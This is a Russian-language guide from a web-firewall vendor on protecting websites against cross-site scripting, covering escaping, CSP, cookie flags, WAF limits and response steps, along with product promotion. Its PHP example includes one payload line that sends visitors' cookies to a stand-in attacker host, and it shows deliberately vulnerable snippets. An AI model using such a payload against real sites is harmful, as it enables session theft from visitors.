Защита от XSS — это запрет браузеру выполнять как код то, что пришло от пользователя. На практике это контекстное экранирование вывода, политика Content Security Policy, HttpOnly-cookies и WAF, который отсекает автоматические попытки внедрения ещё до сайта. Экранирование закрывает причину, остальные слои ограничивают ущерб.
XSS (Cross-Site Scripting, межсайтовый скриптинг) атакует не сервер, а посетителей: скрипт атакующего выполняется в их браузере на вашем домене. В OWASP Top 10 2025 XSS входит в категорию инъекций A05. Мы в BotHunt видим XSS-атаки на 43% сайтов под защитой нашего WAF за последние 30 дней. В статье — как работают атаки, как защититься на уровне кода и CMS и где проходит граница возможностей WAF.
Коротко:
XSS — атака, при которой данные пользователя попадают на страницу без экранирования и выполняются в браузере посетителя как JavaScript.
Главная защита от XSS — контекстное экранирование вывода: одно правило для HTML, другое для атрибутов, третье для JavaScript и URL.
Content Security Policy с nonce запрещает выполнение внедрённых скриптов, даже если экранирование где-то пропущено; внедрять её безопаснее через режим Report-Only.
По данным BotHunt, критичных XSS-попыток в 128 раз меньше, чем SQL-инъекций, а 61% из них одновременно содержат и SQL-инъекцию — это работа автоматических сканеров.
WAF блокирует типовые XSS-атаки, но не заменяет экранирование: вариантов записи XSS тысячи, а опасность зависит от того, куда сайт выводит данные.

Что такое XSS-атака и почему защита от XSS важна для бизнеса
XSS-атака (CWE-79) — внедрение JavaScript в страницу сайта через данные, которые сайт выводит без экранирования. Атакующий оставляет скрипт в комментарии, параметре ссылки или поле профиля, а браузер посетителя выполняет его как часть страницы. Для браузера скрипт пришёл с вашего домена, поэтому ему доступно всё, что доступно самому сайту (CWE-79).
Что получает атакующий через XSS:
Кражу сессии. Скрипт отправляет cookie авторизации на сервер атакующего, и тот входит в аккаунт без пароля.
Захват админки. Если XSS сработала в браузере администратора CMS, скрипт от его имени создаёт нового администратора или правит шаблоны. Так XSS превращается в полный захват сайта.
Фишинг на вашем домене. Поддельная форма входа или оплаты на настоящем адресе сайта не вызывает подозрений.
Подмену контента и редиректы. Скрытые ссылки, спам-вставки, перенаправление посетителей на мошеннические сайты.
Для владельца сайта у XSS есть ещё и SEO-последствия. Если поисковик находит на страницах вредоносный код, сайт помечается в выдаче как опасный: Яндекс показывает предупреждение и сообщает о проблеме в разделе «Безопасность» Вебмастера. Трафик падает, пока код не удалён и сайт не перепроверен.
Виды XSS: хранимая, отражённая и DOM-based
XSS делится на три основных вида по тому, где хранится вредный код и кто его выводит на страницу. От вида зависит, кого атака затронет и как её найти.
Вид | Где живёт код | Кого затрагивает | Пример |
|---|---|---|---|
Хранимая (stored) | В базе сайта: комментарий, отзыв, профиль, товар | Всех, кто открыл страницу, включая администраторов | Скрипт в отзыве на товар |
Отражённая (reflected) | В параметре запроса, сайт сразу выводит его в ответ | Того, кто перешёл по подготовленной ссылке | Поиск выводит «Вы искали: <скрипт>» |
DOM-based | Обрабатывается JavaScript на странице, сервер может не видеть | Того, кто открыл ссылку с вредным фрагментом | location.hash вставляется через innerHTML |
Blind XSS | Хранимая XSS, которая срабатывает в закрытой части: админке, CRM, тикетах | Сотрудников и администраторов | Скрипт в форме обратной связи срабатывает у менеджера |
Mutation XSS (mXSS) | Безопасный на вид HTML, который браузер «исправляет» в опасный | Сайты с санитайзерами HTML | Обход очистки через особенности разбора HTML |
Самый опасный для CMS-сайтов вид — blind XSS. Скрипт оставляют в форме заявки или отзыва, а срабатывает он в админке, когда менеджер открывает сообщение. Браузер менеджера уже авторизован, поэтому скрипт действует с его правами.
Как работает XSS: пример в коде
XSS появляется, когда сайт вставляет ввод пользователя в HTML как есть. Классический пример — вывод поискового запроса на PHP:
<!-- УЯЗВИМО: ввод выводится без экранирования -->
<p>Вы искали: <?= $_GET['q'] ?></p>Атакующий отправляет жертве ссылку с параметром q=<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">. Картинка не загружается, срабатывает обработчик onerror, и cookie посетителя уходят атакующему. Безопасная версия выводит ввод как текст:
<!-- БЕЗОПАСНО: спецсимволы превращаются в текст -->
<p>Вы искали: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>DOM-based XSS работает так же, но на стороне браузера: скрипт страницы берёт данные из адреса и вставляет их через innerHTML. Сервер при этом может вообще не увидеть атаку, если вредный код находится во фрагменте после # — эта часть адреса не отправляется на сервер.
// УЯЗВИМО
document.getElementById('greeting').innerHTML = 'Привет, ' + location.hash.slice(1);
// БЕЗОПАСНО: textContent не разбирает HTML
document.getElementById('greeting').textContent = 'Привет, ' + location.hash.slice(1);Что BotHunt видит в трафике: XSS против SQL-инъекций
По данным BotHunt, XSS атакуют реже SQL-инъекций и почти всегда автоматически. Ниже — агрегированная статистика WAF BotHunt за 20 сентября — 19 октября 2026 года по запросам, которые WAF признал критичными попытками XSS. Сайты клиентов не раскрываются.
Показатель | Значение |
|---|---|
Доля сайтов под WAF BotHunt с критичными XSS-попытками | 43% |
Во сколько раз XSS-попыток меньше, чем SQL-инъекций | в 128 раз |
XSS-попыток, одновременно содержащих SQL-инъекцию | 61% |
Доля попыток от 10 самых активных источников | 69% |
Доля попыток из трёх сетей дата-центров | 52% |
Доля попыток с российских IP-адресов | 14% |
Через GET / через тело POST | 53% / 47% |

Что из этого следует для защиты от XSS:
Массовые сканеры бьют по всему сразу. 61% критичных XSS-попыток одновременно содержат SQL-инъекцию: сканер отправляет универсальную полезную нагрузку и смотрит, что сработает. Такие запросы WAF распознаёт легко.
Настоящие XSS-атаки — точечные. Их меньше, потому что XSS бьёт по посетителям, а не по базе, и требует подготовки: найти место вывода, подобрать контекст, привести жертву. Против точечной атаки главная защита — правильный код.
Пограничных сигналов много. Помимо критичных попыток, за тот же месяц WAF BotHunt отметил ещё 41,5 тыс. запросов со слабыми XSS-признаками. Слабый признак сам по себе не доказывает атаку: похожий сигнал дают HTML в полях форм и визуальные редакторы. Поэтому XSS-правила требуют аккуратной настройки, иначе WAF начнёт блокировать живых пользователей.
Посмотрите, какие атаки получает ваш сайт: облачный WAF BotHunt стартует в режиме наблюдения и показывает их в кабинете. Подключить облачный WAF →
Главная защита от XSS — контекстное экранирование вывода
Экранирование превращает спецсимволы в безопасный текст, но правило зависит от места вывода. < в теле страницы, кавычка в атрибуте и данные внутри скрипта экранируются по-разному. Ошибка контекста — самая частая причина XSS в коде, где экранирование вроде бы есть. Подробные правила — в OWASP XSS Prevention Cheat Sheet.
Куда выводятся данные | Чем экранировать | Типичная ошибка |
|---|---|---|
Текст в HTML |
| Вывод «сырой» переменной |
Атрибут HTML | То же, значение обязательно в кавычках |
|
Ссылка href/src | Проверка схемы: только http(s), затем экранирование | Ссылка |
Внутри <script> |
| Склейка строки JS из ввода |
Обработчики onclick и т.п. | Не выводить туда данные вовсе |
|
Разрешённый HTML (редактор, отзывы) | Очистка через DOMPurify или HTML Purifier | Фильтр «вырезать <script>» самописной регуляркой |
Самописные фильтры вида «удалить <script>» не работают. Атакующий использует <img onerror>, <svg onload>, обработчики событий, вложенные теги и кодировки. Если сайт должен принимать HTML — например, в отзывах с форматированием, — используйте проверенный санитайзер с белым списком тегов.
Защита от XSS во фреймворках и CMS
Современные шаблонизаторы экранируют вывод по умолчанию, и XSS появляется там, где это поведение отключили. Ищите в коде именно такие места:
Технология | Безопасно по умолчанию | Где XSS |
|---|---|---|
React | Выражения в JSX |
|
Vue | Интерполяция | Директива |
Angular | Привязки шаблона | Методы |
Twig | Автоэкранирование | Фильтр |
Laravel Blade |
|
|
WordPress |
|
|
1С-Битрикс |
| Поля с тильдой |
В WordPress основной источник XSS — плагины и темы, а не ядро. Каждая точка вывода должна проходить через esc_html() или esc_attr(), а HTML от пользователя — через wp_kses() с белым списком тегов. В Битриксе обратите внимание на ключи массива с тильдой: $arResult['~PREVIEW_TEXT'] содержит неэкранированное значение и безопасен только для HTML, который вводил администратор. О защите админки Битрикса — в отдельной статье.
Content Security Policy: второй рубеж защиты от XSS
Content Security Policy (CSP) — HTTP-заголовок, который указывает браузеру, какие скрипты разрешено выполнять. Даже если XSS попала на страницу, браузер не выполнит скрипт без разрешённого nonce. Это самый сильный слой после экранирования (документация MDN).
Строгая политика на основе nonce выглядит так:
Content-Security-Policy: script-src 'nonce-R4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'Каждый разрешённый скрипт на странице получает атрибут nonce со случайным значением, которое генерируется заново на каждый ответ. Внедрённый скрипт не знает nonce и не выполняется. Inline-обработчики вроде onclick="..." при такой политике тоже блокируются, поэтому их нужно перенести в JS-файлы.
Включать CSP сразу в режиме блокировки рискованно: на сайте с Метрикой, виджетами чата и сторонними скриптами что-то обязательно сломается. Безопасный порядок внедрения:
Режим наблюдения. Отправляйте заголовок
Content-Security-Policy-Report-Onlyс адресом для отчётов — браузер ничего не блокирует, только сообщает о нарушениях.Сбор нарушений 1–2 недели. Отчёты покажут все inline-скрипты, обработчики и сторонние источники, которые нужно учесть.
Исправление. Перенесите inline-код в файлы, добавьте nonce разрешённым скриптам, уберите лишние сторонние скрипты.
Включение блокировки. Замените Report-Only на
Content-Security-Policyи продолжайте собирать отчёты.
Следующий шаг после CSP — Trusted Types. Директива require-trusted-types-for 'script' запрещает передавать обычные строки в опасные места вроде innerHTML, что почти полностью закрывает DOM-based XSS. Её поддерживают пока не все браузеры, поэтому это дополнение, а не замена CSP.
Cookies и заголовки: как уменьшить ущерб от XSS
Правильные флаги cookies не предотвращают XSS, но не дают атакующему украсть сессию. Это дешёвая мера, которая превращает XSS из захвата аккаунта в менее опасную атаку.
HttpOnly — cookie сессии недоступна из JavaScript,
document.cookieеё не вернёт.Secure — cookie передаётся только по HTTPS.
SameSite=Lax или Strict — cookie не отправляется в запросах с чужих сайтов, что защищает и от CSRF.
X-Content-Type-Options: nosniff — браузер не попытается выполнить как скрипт файл, который отдан с другим типом.
X-XSS-Protection — устарел: встроенные XSS-фильтры из браузеров удалены. Не используйте его или выставляйте значение
0.
Отдельный вектор — загрузка файлов. SVG — это XML, и тег <script> внутри SVG выполнится, если файл открыт по прямой ссылке с вашего домена. Запретите загрузку SVG от пользователей или очищайте такие файлы. Загрузки лучше отдавать с отдельного домена или с заголовком Content-Disposition: attachment.
Как WAF защищает от XSS и почему это сложнее, чем с SQL-инъекциями
WAF проверяет запросы на признаки внедрения скриптов до того, как они дойдут до сайта, и останавливает типовые XSS-атаки: теги script, обработчики onerror и onload, javascript:-ссылки, известные обходы. Подробнее о технологии — в статье «Что такое WAF».
Облачный WAF BotHunt работает на собственных узлах в России и подключается через DNS. Для XSS он использует правила OWASP Core Rule Set и грамматический разбор libinjection, проверяет тело запроса и параметры. Но с XSS у любого WAF есть объективные ограничения:
Контекст неизвестен. WAF видит запрос, но не знает, куда сайт выведет данные: в текст, атрибут или скрипт. Одна и та же строка безопасна в одном месте и опасна в другом.
Легитимный HTML похож на атаку. Визуальные редакторы CMS, конструкторы страниц и формы с форматированием отправляют настоящие HTML-теги.
Вариантов записи тысячи. Обработчики событий, кодировки, SVG, особенности разбора HTML дают огромное число обходов.
DOM-based XSS может не дойти до сервера. Если вредный код находится во фрагменте адреса после
#, его не увидит ни сервер, ни WAF.

Поэтому WAF BotHunt не блокирует каждый запрос с HTML. Явная атака сканера блокируется сразу. Пограничный сигнал получает проверку браузера: человек её проходит незаметно, а автоматический сканер — нет. Повторные попытки ведут к блокировке источника. Именно так распределились критичные XSS-запросы за 30 дней: 53% получили проверку браузера, 19% — штрафные отметки, после которых источник блокируется. Для администратора сайта, который работает в визуальном редакторе, правила ослаблены: его сессия распознаётся, и HTML из редактора не считается атакой.
WAF входит в тарифы BotHunt от 890 ₽/мес: подключение через DNS за 5 минут, режим наблюдения на старте. Как работает WAF BotHunt →
Как проверить сайт на XSS-уязвимости
Проверяйте только свой сайт или сайт, на который есть письменное разрешение владельца. Несанкционированный поиск уязвимостей может подпадать под статью 272 УК РФ.
Ручная проверка. Введите в поиск, формы и параметры безобидную разметку, например
<b>test</b>или"><i>x</i>. Если текст на странице стал жирным или курсивным — вывод не экранируется.Проверка шаблонов. Найдите в коде сырой вывод:
<?= $_GET,|raw,{!! !!},v-html,dangerouslySetInnerHTML,innerHTML =, ключи['~в Битриксе.Сканер на тестовой копии. OWASP ZAP или Burp Suite проверяют формы и параметры автоматически, включая отражённую XSS.
Отчёты CSP. Режим Report-Only покажет inline-скрипты и источники, которых на сайте быть не должно.
Журнал WAF. Если сайт за WAF, журнал атак покажет, какие страницы и параметры атакуют XSS-полезными нагрузками.
Что делать, если на сайте нашли XSS
Сначала уберите вредный код и закройте уязвимость, затем проверьте, не захвачена ли админка. Порядок действий:
Найдите и удалите внедрённый код в контенте, комментариях, отзывах, настройках и шаблонах. Хранимая XSS живёт в базе данных.
Закройте уязвимость экранированием в найденном месте. До исправления включите блокировку в WAF.
Завершите все сессии администраторов и смените пароли: если XSS сработала в админке, сессии могли украсть.
Проверьте администраторов и файлы. Новые учётные записи, изменённые email, посторонние PHP-файлы и правки шаблонов.
Включите CSP хотя бы в режиме Report-Only, чтобы увидеть остальные места внедрения.
Запросите перепроверку в Яндекс Вебмастере, если сайт получил отметку об угрозе безопасности.
Чек-лист: защита от XSS для сайта
Весь пользовательский ввод выводится через экранирование, подходящее контексту: HTML, атрибут, URL, JavaScript.
В шаблонах нет сырого вывода (
|raw,{!! !!},v-html,dangerouslySetInnerHTML) без санитайзера.Разрешённый HTML очищается DOMPurify, HTML Purifier или
wp_kses()с белым списком тегов.Ссылки из данных пользователя проверяются на схему http(s).
Включена Content Security Policy с nonce, начиная с режима Report-Only.
Cookies сессии с флагами HttpOnly, Secure и SameSite.
Загрузка SVG запрещена или файлы очищаются, загрузки отдаются как вложения.
Плагины и темы CMS обновлены, лишние удалены.
Перед сайтом стоит WAF, который отсекает автоматические попытки внедрения.
XSS и SQL-инъекции часто атакуют вместе, поэтому защищайтесь от обеих: подробный разбор — в статье «Защита от SQL-инъекций».
Подключите облачный WAF BotHunt — он отсечёт автоматические XSS-атаки и SQL-инъекции, пока вы проверяете код. Начать бесплатно →
Часто задаваемые вопросы
Как защитить сайт от XSS-атак?
Основная защита от XSS — контекстное экранирование вывода: всё, что пришло от пользователя, выводится как текст, а не как HTML или JavaScript. Вторым уровнем служат Content Security Policy, флаг HttpOnly у cookies сессии и очистка HTML через DOMPurify там, где разметку разрешено вводить. WAF перед сайтом отсекает автоматические попытки внедрения.
Защищает ли WAF от XSS?
WAF перехватывает типовые и автоматические XSS-атаки — внедрение тегов script, обработчиков onerror и javascript:-ссылок в параметры и формы. Но XSS имеет тысячи вариантов записи и зависит от того, куда сайт выводит данные, поэтому WAF не заменяет экранирование в коде, а работает вторым рубежом.
Чем XSS отличается от SQL-инъекции?
SQL-инъекция атакует базу данных сайта, XSS — браузеры посетителей. При SQL-инъекции вредный ввод меняет запрос к базе, при XSS — попадает на страницу и выполняется как JavaScript у того, кто её открыл. От SQL-инъекций защищают параметризованные запросы, от XSS — экранирование вывода и CSP.
Нужен ли заголовок X-XSS-Protection?
Нет. Встроенные XSS-фильтры браузеров удалены, а сам заголовок устарел и в старых браузерах мог создавать уязвимости. OWASP рекомендует не использовать его или выставлять X-XSS-Protection: 0, а защищаться через Content Security Policy.
Что такое HttpOnly и защищает ли он от XSS?
HttpOnly — флаг cookie, который запрещает JavaScript читать её через document.cookie. Он не предотвращает XSS, но не даёт скрипту атакующего украсть cookie сессии и войти под чужим аккаунтом. Для cookies сессии и авторизации флаг HttpOnly обязателен.
Опасна ли загрузка SVG-файлов?
Да. SVG — это XML, внутри которого может быть тег script. Если пользователь загрузил SVG, а сайт отдаёт его со своего домена, скрипт выполнится при открытии файла. Безопаснее запретить загрузку SVG, очищать такие файлы или отдавать загрузки с отдельного домена.
Как понять, что сайт заражён через XSS?
Признаки — незнакомые скрипты и iframe в контенте страниц и комментариях, неожиданные редиректы на сторонние сайты, новые администраторы в CMS и предупреждение «Угрозы безопасности» в Яндекс Вебмастере. Проверьте исходный код страниц, базу данных и журнал атак WAF, если он подключён.






